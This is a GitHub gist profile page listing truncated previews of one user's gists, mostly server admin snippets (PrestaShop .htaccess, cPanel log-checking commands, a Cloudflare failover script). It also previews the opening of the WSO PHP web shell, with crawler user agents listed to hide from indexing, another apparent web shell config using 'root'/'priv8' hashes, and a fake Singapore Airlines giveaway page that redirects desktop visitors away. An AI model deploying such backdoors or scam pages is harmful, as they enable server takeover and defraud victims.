Skip to content

Instantly share code, notes, and snippets.

Avatar
:octocat:
Working from localhost

Stefan Pejcic stefanpejcic

:octocat:
Working from localhost
View GitHub Profile
@stefanpejcic
stefanpejcic / .htaccess
Created Jul 6, 2021
default .htaccess for Prestashop v 1.7
View .htaccess
# ~~start~~ Do not remove this comment, Prestashop will keep automatically the code outside this comment when .htaccess will be generated again
# .htaccess automaticaly generated by PrestaShop e-commerce open-source solution
# http://www.prestashop.com - http://www.prestashop.com/forums
<IfModule mod_rewrite.c>
<IfModule mod_env.c>
SetEnv HTTP_MOD_REWRITE On
</IfModule>
RewriteEngine on
View connection.asp
<%
strDBConnection = "Provider=SQLOLEDB.1;Persist Security Info=False;User ID=bevnet_sa;Initial Catalog=xxxx;Data Source=localhost;Network Library=DBMSSOCN;uid=xxxx;password=xxxx"
Function connection_DBLookUpSP(strSQL)
Dim rsResults
Dim varResult
View WSO_2.6.php
<?php
session_start();
$password = "";
$passtype = "";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");
@stefanpejcic
stefanpejcic / .block
Created Jan 16, 2021 — forked from curran/.block
Compare Colors
View .block
license: mit
View gist:182670050f9420b4b3c0b809d2fbc678
<?php /* Copyright &>/dev/null */
$config = array(
"version" => "2.0.2011.0827",
/* build version. */
"auth" => array(
"use_auth" => false,
/* bool value, TRUE=[ Ask for login ] / FALSE=[ Don't ask ] */
"md5_user" => "63a9f0ea7bb98050796b649e85481845", // root
"md5_pass" => "bad5908652c705ebe436af598446a1dd"), // priv8
"default_vars" => array(
@stefanpejcic
stefanpejcic / my.html
Created Nov 6, 2020 — forked from tzhenghao/my.html
SQ Scammer html script
View my.html
<!DOCTYPE html>
<head>
<meta property="og:image" content="https://www.airlineratings.com/wp-content/uploads/uploads/singapore_airlines_logo-200x.jpg" />
<meta property="og:title" content="Singapore Airlines is giving away Free tickets to celebrate its 70th Anniversary" />
<script type="text/javascript" language="javascript">
var areYouReallySure = false;
var internalLink = false;
if (typeof window.orientation == 'undefined' && screen.width >= 1000){window.location.href = 'http://google.com'; areYouReallySure=true;}
@stefanpejcic
stefanpejcic / Bash for cPanel
Created Oct 30, 2020 — forked from countryroadgraphics/Bash for cPanel
Bash commands for cPanel servers
View Bash for cPanel
<h4>Use at your own risk. Some of these commands remove data and/or terminate processes.</h4>
<h1><b>Load
</b></h1>
<strong>WordPress attacks</strong>
<code>egrep -c '(wp-comments-post.php|wp-login.php|xmlrpc.php)' /usr/local/apache/domlogs/* |grep -v "_log" |sort -t: -nr -k 2 |head -5 |tee /tmp/delete_check |cut -d'/' -f6; for domlog in $(cut -d':' -f1 /tmp/delete_check); do echo; echo $domlog; echo; echo wp-login.php :: $(grep -c wp-login.php $domlog); echo; grep wp-login.php $domlog | cut -d' ' -f1|egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' |sort |uniq -c |sort -nr | head; echo; echo xmlrpc.php :: $(grep -c xmlrpc.php $domlog); echo; grep xmlrpc.php $domlog |cut -d' ' -f1 |egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' |sort |uniq -c |sort -nr | head; echo; echo wp-comments-post.php :: $(grep -c wp-comments-post.php $domlog); echo; grep wp-comments-post.php $domlog |cut -d' ' -f1 |egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' |sort |uniq -c |sort -nr | head; echo; done
@stefanpejcic
stefanpejcic / cloudflare-failover.sh
Created Oct 11, 2020 — forked from Ara4Sh/cloudflare-failover.sh
CloudFlare A records failover script using CloudFlare api v4 (https://api.cloudflare.com) required jq and curl to run.
View cloudflare-failover.sh
#!/bin/bash
# Copyright (C) 2016 Arash Shams <https://github.com/Ara4Sh>.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
View gist:3595970da0b006cd6ac7f94ef241602c
<div class=”container”>
<div class=”col-md-4″>…</div>
<div class=”col-md-4″>…</div>
<div class=”col-md-4″>…</div>
</div>
View 92red-teme.php
// Set array element
if ( ! function_exists( 'piqes_storage_set_array' ) ) {
function piqes_storage_set_array( $var_name, $key, $value ) {
global $PIQES_STORAGE;
if ( ! isset( $PIQES_STORAGE[ $var_name ] ) ) {
$PIQES_STORAGE[ $var_name ] = array();
}
if ( '' === $key ) {
$PIQES_STORAGE[ $var_name ][] = $value;
} else {